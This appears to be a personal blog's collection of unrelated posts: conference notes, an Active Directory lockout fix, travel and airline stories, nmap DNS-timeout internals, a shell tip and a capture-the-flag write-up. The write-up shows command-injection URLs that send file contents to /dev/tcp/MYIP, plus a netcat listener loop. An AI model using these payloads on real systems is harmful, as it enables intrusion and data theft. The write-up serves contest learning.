I recently came back from the ToorConX in San Diego, CA. It was a great conference with some really cool talks. Especially RFD (Remote file download using blind sql injection), reversing malware using browser hooking, cracking crypt() hashes using Ps3, grey box peach fuzz xml generation tool (nunchaku), voip eavesdropping, bypassing browser memory protection.
These were some really cool talks but I still don’t have access to any presentation slides yet for the con. May be those will be posted some time.

I kept getting the following errors on my AD domain in the event viewer and accounts kept locking out:
Pre-authentication failed:
User Name:      user1
User ID:                DOMAIN\user1
Service Name:   krbtgt/DOMAIN.COM
Pre-Authentication Type:        0x0
Failure Code:   0x12
Client Address: 192.168.246.134

For more information, see Help and Support Center at
http://go.microsoft.com/fwlink/events.asp.

In the Directory Service logs I see the following entry:
[snip]
Active Directory could not update the following object with changes
received from the domain controller at the following network address
because Active Directory was busy processing information.

Turns out this happens if you have samba/winbind/AD type infrastructure. If someone has some processes running (Even if they us sudo) and happen to change their password while the process is running on unix (and using kerberos authentication), the accounts lockout because the kerberos ticket granting ticket (krbtgt) is not current and any object access is considered to be a failed login attempt. This locks out the accounts if you have account lockout implemented in your AD domain security policy.

The introduction of low-cost flying alternatives in the Indian skies is a good thing for the Indian consumers as one would reckon. However, the consumers only stand to gain if they get a service which at least gets them their money worth.
Sadly though, the quality of service provided by these low-cost airlines is also “low-grade”. The business principle seems sound that people who want food/refreshments in flight buy it but that does not necessarily mean that one gets hard pressed to board the flight itself. The airline management needs to rethink that low-cost does not mean high tension. My flight experience was as follows:
I was to board the flight from Delhi – Mumbai at around 9:00 pm. However, until 10:30 pm there were no announcements which made me ponder about the very existence of the flight itself. At about 11:00 pm it was announced that the entry would be from Gate # 3. The people rushed in like a horde of animals trying to get into a DTC (Delhi Transport Corporation) bus. Then a technical snag – the key was unable to open the gate # 3 – occurred to make the matters worse. The gates were changed to Gate # 1 resulting into a new frenzy of people trying to reach gate # 1. In what ensued, there were a series of announcements for passengers to board the flight, however, there was a slight problem. The officials on Gate # 1 were not ready to let passengers through. The flights like “Air Deccan” have given a new meaning to the term “fight to the finish” as your fight to get a seat in the flight never ends!

Now I’ve no problems considering that the population of India is huge. However, I do have a problem when seemingly intelligent (?) people do not display basic intelligence. Air Deccan issues unique numbers on it’s boarding passes when people check-in. Why these numbers are not used for seat assignments is a question that only Air Deccan can answer. Apparently, they use these numbers to identify which passengers have / have not boarded the flight.

Unitl these companies realize that cheap tickets should not mean cheap quality the consumers will continue to remain at a loss in these airlines which are advertized as a “high value for money”.

This long weekend, the July 4th weekend, we went to Lake Tahoe. Trips are fun when the group sizes are large and this time around we broke the records of group sizes. 18 of us went to Lake Tahoe, with friends coming in from New York, Santa Barbara, Foster City etc.
We booked a house for us and it was really grand. The cost of the rental was $670 for 2 days with a minimum 2 days rental.
We left for South Lake Tahoe from Foster City, CA from Gander’s place at 9:45 am in a Jeep Wrangler . We took I-5N, I-80E,I-50E to reach South Lake Tahoe in 5hrs 15mins because of some heavy traffic. As soon as we reached Deepak had made arrangements for Jet Skiing for us in Lake Tahoe. The cost for rental was a decent $100 / hour. VK and I were on the same Jet Ski. It took me some time to get accustomed to the fact that I was gliding on the surface of water without knowing swimming. But once I became a little comfortable, I started to enjoy the surface tension of water! The life jacket that I had worn was luckily not put to full use as I did not fall into the water.
The next day was the best adventure sport that I have ever been a part of. River Rafting with Adventure Connection in South Fork Waters was simply an ethereal experience. It was grade 3 rafting and we were told that was the beginner level. Our raft guide – Dinesh, was from Nepal and had a very clear idea and excellent knowledge of rafting. He told us that in India and Nepal the water grades are much higher than in US. For example, grade 5 in US is grade 3 in India & Nepal. The 3-hour rafting experience caused us $85 but it was worth every penny of it. Personally, I think that all of us are ready to do Grade 4 but I think I need to first learn to swim before I can embark on those escapades. I was told that Grade 4 was available in Middle fork and grade 5 was available on North Fork waters.
Overall, it turned out to be a great trip with almost everyone enjoying the fun part. The total cost of the trip per person came to about $250 including food, stay and water sports. A great end to the 4th of July Long Weekend.

I think Nmap is by far the best portscanner around if you want to do some serious port-scanning. Nmap performs a DNS resolution by default. This is good for obtaining the fully qualified domain names (FQDN), however, in some cases when you are scanning huge networks spanning several class Bs, it can have a significant effect on the duration of the scan.
Although using the -n parameter can completely stop nmap from performing any resolutions, but sometimes there’s that fine granularity that you need, i.e., you want to perform name resolutions but not if it exceeds a certain amount of time. I have to say that I wouldn’t have even craved for such an idiosyncratic feature, had it not been for nmap. Fyodor has been awesome enough to provide fine-grained control over port-scanning to your heart’s content.
So I opened up the nmap code, trying to figure out if I could fine tune that feature myself and I was not at all surprised that there were several comments in the code that would give you the impression that the authors of nmap have been considering this feature.
At this time it seems that the timeouts for the DNS servers are being read out of an arrayname:
static int read_timeouts[][] in nmap_dns.cc.
The way the code works is, this array has retransmission timeouts. Each row of this array represents what retransmission timeouts that nmap will follow depending on the number of DNS servers provided.

In nmap 4.76, therefore, if you specify one DNS server (or only one entry exists in /etc/resolv.conf) nmap will wait 4000ms, then another 4000ms followed by 5000ms before giving up. But if you do specify two DNS servers, then for the first DNS server the timeouts are 2500ms followed by 4000ms and then the same is tried for the 2nd entry in the DNS servers. Therefore, it seems that nmap will wait 13 seconds at max before giving up on the DNS resolution of a host. Imagine scanning a class B and having to wait 13 seconds for each of the hosts to resolve. It would be a significant overhead.

Of course, one can find other things to do if the IP address space is not DHCP, e.g., starting a separate list scan (-sL) and a portscan (with -n) simultaneously so that the DNS resolution timeouts do not result in a major impact as far as the portscanning itself is concerned.
There could be pros and cons to this as well which I may have failed to consider. But at this time it seems that it might be the most judicious approach.

The Plaid Parliament of Pwning organized their own Capture-the-Flag (CtF) contest this past weekend. It was an excellent CtF with about 36 challenges ranging from trivia, exploitation, reverse engineering, web exploitation, cryptography, and forensics.

My writeup for #16 – Plain sight [200 pts] web
The problem was

The time to strike is now! This fiendish AED employee decided to hide secret data on this website (http://a4.amalgamated.biz/cgi-bin/chroot.cgi)
It seems that the employee was in the middle of creating the website when our operatives stumbled upon it.
The good news is that there are surely bugs in the development version of this problem, the bad news is currently no feedback printed to users.
Some of our leet operatives have determined a little bit about the machine: it runs in a read-only environment with only
bash cat dc expand grep hd head id less ls more nl od pr rev sh sleep sort sum tail tar tr true tsort ul wc yes
installed.

Find what AED is hiding, good luck and godspeed.

There was a URL http://a4.amalgamated.biz/cgi-bin/chroot.cgi that allowed remote code execution.
bash, cat, less, more, ls were allowed.

First thing I did was checked if the bash TCP connections were allowed using:
http://a4.amalgamated.biz/cgi-bin/chroot.cgi?ls>/dev/tcp/MYIP/5000

That seemed to work. So then I listed the directories one by one until I bumped onto:
I used http://a4.amalgamated.biz/cgi-bin/chroot.cgi?cat%20keyfolder/key>/dev/tcp/MYIP/5000 I had the port forwarded to my PC and a netcat listener running in a loop
while [ 1 ]
do
nc -l -v -p 5000
done

The answer was esc4p3_str1ng5.

Fun times!

An interesting thing happened today …I was trying to redirect some input to /dev/null in cygwin…using something like:
some_exec -p params 2>&/dev/null | grep blah
I kept getting an error : bash: Ambiguous redirect.
I then realized that I should probably doing a simple direct and not a re-direct…seemed to solve my problem. Come to think of it…it makes sense, why should I need to redirect when I’m sending it to /dev/null…should simply be able to direct it using:
some_exec -p paraa 2>/dev/null | grep blah